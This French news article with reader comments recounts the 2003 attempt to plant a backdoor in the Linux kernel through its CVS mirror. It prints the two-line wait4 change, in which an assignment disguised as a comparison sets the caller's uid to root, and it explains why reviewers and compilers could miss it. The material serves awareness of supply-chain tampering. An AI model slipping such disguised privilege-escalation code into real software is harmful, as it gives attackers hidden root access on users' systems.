Linux : il y aurait eu une tentative d'intégration d'un backdoor dans le noyau en 2003
Révélation sur le code injecté

Le , par Hinault Romaric, Responsable .NET
Il y aurait eu une tentative d’introduction d’une porte dérobée (backdoor) dans le noyau Linux. Ed Felten, professeur d’informatique à l’université de Princeton, revient dans un billet de blog sur l’incident.

Retour en 2003. Les développeurs de Linux utilisaient le logiciel BitKeeper pour stocker la copie maitre du code source du kernel. Si un développeur voulait proposer une modification du code Linux, il devait soumettre ses changements, qui devaient passer un processus d’approbation pour décider si le code proposé pouvait être accepté dans le code maitre.

Cependant, beaucoup de développeurs n’aimaient pas BitKeeper (parce que c’était un logiciel fermé de contrôle de code source, qui a été remplacé plus tard par Git). Une seconde copie du code source de Linux était maintenue dans un CVS pour ceux-ci. La copie CVS était un clone direct de la copie BitKeeper primaire.

En novembre 2003, Larry McVoy, un administrateur Linux, avait remarqué un changement dans le code de la copie CVS, qui n’avait pas de référence vers un dossier d’approbation. L’enquête des développeurs a révélé que le changement n’avait jamais été approuvé, était inconnu et ne provenait pas du code primaire de BitKeeper.

En menant une enquête plus approfondie, il s’est avéré que quelqu’un avait créé un dysfonctionnement sur le serveur CVS et avait inséré ce changement. « Qu’est-ce que ce changement fait ? C’est là que ça devient intéressant », écrit Felten, qui note que le changement avait modifié la fonction « wait4 » du kernel. Concrètement, le code inséré était le suivant :

Code C : Sélectionner tout
1
2
3
  
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) 
        retval = -EINVAL;

Une lecture superficielle de ce code peut donner l’impression d’un code sans problème. D’après Felten, un développeur averti devrait remarquer qu’au lieu d’utiliser l’opérateur de comparaison « == », l’opérateur d’affectation a plutôt été utilisé « = » (current->uid = 0). Le « 0 » représentant l’utilisateur root, ce code attribuerait donc les privilèges d’administrateur à « current->uid ». « En d’autres termes, il s’agit d’une porte dérobée classique », conclut Ed Felten.

« C’est un morceau de code intéressant. Il ressemble à une vérification inoffensive d’erreurs, mais c’est vraiment un backdoor. Il a été glissé dans le code en dehors du processus normal d’approbation, afin d’éviter sa détection », écrit Felten, qui ajoute : « mais la tentative n’a pas fonctionné, parce que l’équipe Linux est assez prudente et a noté que le code était dans le CVS sans approbation. Un point pour Linux ».

S’agit-il d’une tentative de la NSA ? Peut-être que oui, peut-être que non. L’auteur n’avait pas été identifié.

Source : billet d'Ed Felten

Et vous ?

Qu'en pensez-vous ?

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?


Vous avez aimé cette actualité ? Alors partagez-la avec vos amis en cliquant sur les boutons ci-dessous :


 Poster une réponse

Avatar de martin.magakian martin.magakian - Futur Membre du Club http://www.developpez.com
le 10/10/2013 à 12:19
Sympa comme article.

Simplement merci.
Avatar de Ptigrouick Ptigrouick - Membre habitué http://www.developpez.com
le 10/10/2013 à 12:26
Merci pour cette explication claire et précise d'un point technique pourtant ardu. Bravo à l'auteur de cet article !
Avatar de abriotde abriotde - Membre éclairé http://www.developpez.com
le 10/10/2013 à 13:55
Bonjour,

Cela prouve que c'est potentiellement possible d'insérer discrètement du code dans le noyau même si c'est tout de même pas a la portée de n'importe qui.

Mais chose plus grave, ce code ne permet a priori que de passer root, pas de se connecter sur la machine. Comment l'auteur de se code (la NSA?) comptait t'il s'authentifier sur la machine? Un logiciel installé et vérolé (plus facile a corrompre) ou un autre bout de code malicieux passé par le système standard de validation ou non?
Avatar de Traroth2 Traroth2 - Expert éminent http://www.developpez.com
le 10/10/2013 à 13:57
Une modification discrète grâce à une intrusion sur le serveur de versioning, un ajout des plus brefs, une petite subtilité pour que ça passe encore un peu plus inaperçu... Une tentative plutôt bien organisée, en fait.

D'une certaine manière, ça place la création de Git et le remplacement de Bitkeeper et CVS sous une lumière différente, cette histoire...

Cela dit, est-ce que ça veut dire que les intrus ont aussi remplacé le hash MD5 qui sert à vérifier l'authenticité du source ? Ou est-ce que ça ne se faisait pas encore en 2003 ? Ca serait surprenant, quand même, ça fait longtemps qu'on voit ça sur les repos de projets open-source et libres.
Avatar de Sirus64 Sirus64 - Membre éclairé http://www.developpez.com
le 10/10/2013 à 13:58
Qu'en pensez-vous ?
Les compilateurs affichent normalement des Warnings pour ce genre "d'erreurs".

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?
Je pense que vu la quantité de code dans Linux, il est facile de rajouter du code malicieux. Il y en a surement, je ne peux pas croire l'inverse ! N'importe quelle application peut en avoir (volontairement ou non). Le fait que le code soit ouvert n'est pas un gage de qualité.
Avatar de Traroth2 Traroth2 - Expert éminent http://www.developpez.com
le 10/10/2013 à 14:09
Citation Envoyé par Sirus64  Voir le message
Qu'en pensez-vous ?

Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?
Je pense que vu la quantité de code dans Linux, il est facile de rajouter du code malicieux. Il y en a surement, je ne peux pas croire l'inverse ! N'importe quelle application peut en avoir (volontairement ou non). Le fait que le code soit ouvert n'est pas un gage de qualité.

L'idée de code malicieux, c'est que c'est volontaire, justement.
Un projet comme Linux est découpé en modules qui sont pris en charge par des équipes différentes. Il n'y a pas une grosse équipe qui gère tout. Et le code lui-même est relu par des gens du monde entier qui ne sont pas directement impliqués dans processus de développement. Il faut se rendre compte que de nos jours, Linux est utilisé et adapté aux besoins, donc relu, par des organisations aussi diverses que Google, Free, Microsoft, la gendarmerie nationale française, le gouvernement chinois ou la Nasa. S'il y avait une backdoor, je pense que ça se remarquerait en quelques jours.
Avatar de Errata Errata - Membre régulier http://www.developpez.com
le 10/10/2013 à 14:10
Il y a quand même de plus en plus d'outils d'analyse qui finissent par nettoyer les erreur bête (les nouveaux outils de clang envoient du rêve). Et pour les failles plus complexe et plus vicieuse, le code change pas mal de sorte qu'elles sont difficilement maintenable.
Je me doute bien qu'il y a des failles, mais je pense plus qu'elles sont due a l'inattention plus qu'a une volonté malveillante.
Par contre dans de plus petit logiciel, là il y a matières a maintenir une failles efficace...
Avatar de Squisqui Squisqui - Membre expérimenté http://www.developpez.com
le 10/10/2013 à 14:43
Citation Envoyé par Sirus64  Voir le message
Qu'en pensez-vous ?
Les compilateurs affichent normalement des Warnings pour ce genre "d'erreurs".

Nop, pour gcc, les parenthèses servent à appuyer la volonté de faire une affectation. Il n'y a donc pas de warning dans ce cas précis. L'affectation dans une boucle est assez courante en C (un peu moins dans une condition).
C'est ce qui rend le code très discret. Le seul moyen de le repérer est de mettre en évidence les différences entre deux révisions ou de le relire à la main.
Avatar de goomazio goomazio - Membre chevronné http://www.developpez.com
le 10/10/2013 à 14:43
Citation Envoyé par Hinault Romaric  Voir le message
Avec le processus de vérification du code Linux, un backdoor peut-il se faufiler dans le code sans se faire remarquer ?

En tout cas, ça a été possible à une époque. Dans la source de l'article se trouve un lien vers un autre article disant qu'une modification du code de Debian, qui faisait que les clés de sécurité générées par le système pour SSL et SSH par exemple étaient facilement devinables ("32,767 choices"), est resté "en production" de fin 2006 à 2008 et s'est même propagé à Ubuntu...

Mais on ne sait pas combien de temps ces failles vont rester inconnues et si elles sont utilisables rapidement.

L'idée de code malicieux, c'est que c'est volontaire, justement.

Juste sur ce point : pas forcément, en tout cas ici on parle des failles volontaires ou involontaires, qui ont le même résultat. Pour moi une faille pourrait tout aussi bien être volontaire qu'involontaire, cf. l'exemple de l'article qui aurait pu être pris pour un acte involontaire s'il n'y avait pas eu de piratage du dépôt CVS ou je ne sais quoi d'autre de louche.
Avatar de Traroth2 Traroth2 - Expert éminent http://www.developpez.com
le 10/10/2013 à 15:12
Citation Envoyé par goomazio  Voir le message

Juste sur ce point : pas forcément, en tout cas ici on parle des failles volontaires ou involontaires, qui ont le même résultat. En plus, une faille pourrait tout aussi bien être volontaire qu'involontaire, cf. l'exemple de l'article qui aurait pu être pris pour un acte involontaire s'il n'y avait pas eu de piratage du dépôt CVS ou je ne sais quoi d'autre de louche.

C'est une faille, alors, pas du code malicieux. Malicieux, ça veut dire pas sympa, dans le contexte...
Offres d'emploi IT
Développeur Hybris
COOPTALIS - Nord Pas-de-Calais - Région Lilloise
Ingénieur j2ee / spring / hybris H/F
altima - Nord Pas-de-Calais - Roubaix (59100)
Technicien méthodes et tests h/f
Atos - Ile de France - Angers (49000)

Voir plus d'offres Voir la carte des offres IT
Contacter le responsable de la rubrique Accueil